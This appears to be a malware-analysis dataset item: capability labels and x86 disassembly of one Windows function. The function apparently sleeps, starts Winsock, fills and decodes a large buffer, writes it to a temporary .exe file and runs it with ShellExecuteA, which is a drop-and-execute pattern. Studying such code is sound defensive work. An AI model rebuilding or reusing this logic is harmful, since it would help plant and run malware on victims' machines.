Function at 0x401240
Capabilities:
Create process on windows
Get common file path
Initialize winsock library
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
mov eax, dword [0x413038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x2b8], 0
push 0x200
call fcn.004035b0
add esp, 4
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0x2bc], 0
push 0x500000
call fcn.004035b0
add esp, 4
mov dword [ebp - 0x2a4], eax
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.00402560
add esp, 0xc
cmp dword [ebp + 8], 2
jle 0x4012c9
push 0x927c0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x298]
push ecx
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x200
push 0
mov edx, dword [ebp - 0x29c]
push edx
call fcn.00402560
add esp, 0xc
push 0x500000
push 0
mov eax, dword [ebp - 0x2a4]
push eax
call fcn.00402560
add esp, 0xc
call fcn.00401170
movzx ecx, al
test ecx, ecx
je 0x401319
xor eax, eax
jmp 0x4014d8
lea edx, [ebp - 0x2b8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 0x2b8], 0
je 0x401363
push 0x500000
mov eax, dword [ebp - 0x2a4]
push eax
push 4
push 0x413014
push 0x1e14
push 0x18042a6e
call section..text
add esp, 0x18
mov dword [ebp - 0x2ac], eax
jmp 0x40138e
push 0x500000
mov ecx, dword [ebp - 0x2a4]
push ecx
push 4
push 0x413014
push 0x1a2c
push 0x18042a6e
call section..text
add esp, 0x18
mov dword [ebp - 0x2ac], eax
push 0x200
mov edx, dword [ebp - 0x29c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40d1a4
mov eax, dword [ebp - 0x29c]
push eax
call fcn.00401550
add esp, 8
mov dword [ebp - 0x2b4], eax
mov ecx, dword [ebp - 0x2b4]
mov byte [ecx + 1], 0
mov edx, dword [ebp - 0x29c]
push edx
push 0
push 0
mov eax, dword [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0x2e
mov ecx, dword [ebp - 0x29c]
push ecx
call fcn.00401530
add esp, 8
mov dword [ebp - 0x2b4], eax
mov edx, dword [ebp - 0x2b4]
mov byte [edx], 0
mov eax, dword [ebp - 0x29c]
add eax, 0xffffffff
mov dword [ebp - 0x2a8], eax
mov ecx, dword [ebp - 0x2a8]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x29d], dl
add dword [ebp - 0x2a8], 1
cmp byte [ebp - 0x29d], 0
jne 0x40140d
mov edi, dword [ebp - 0x2a8]
mov eax, dword [str..exe]
mov dword [edi], eax
mov cl, byte [0x40d1ac]
mov byte [edi + 4], cl
push 0
push 0x82
push 2
push 0
push 0
push 0xc0000000
mov edx, dword [ebp - 0x29c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0
je 0x4014d6
push 0x413018
mov eax, dword [ebp - 0x2ac]
push eax
mov ecx, dword [ebp - 0x2a4]
push ecx
call fcn.004011f0
add esp, 0xc
push 0
lea edx, [ebp - 0x2bc]
push edx
mov eax, dword [ebp - 0x2ac]
push eax
mov ecx, dword [ebp - 0x2a4]
push ecx
mov edx, dword [ebp - 0x2b0]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x2b0]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
mov ecx, dword [ebp - 0x29c]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401792
mov esp, ebp
pop ebp
ret